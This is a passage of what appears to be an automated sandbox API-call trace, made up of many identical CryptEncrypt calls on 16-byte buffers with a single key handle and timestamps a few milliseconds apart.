dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.228] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.229] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.230] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.231] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.232] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.233] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: 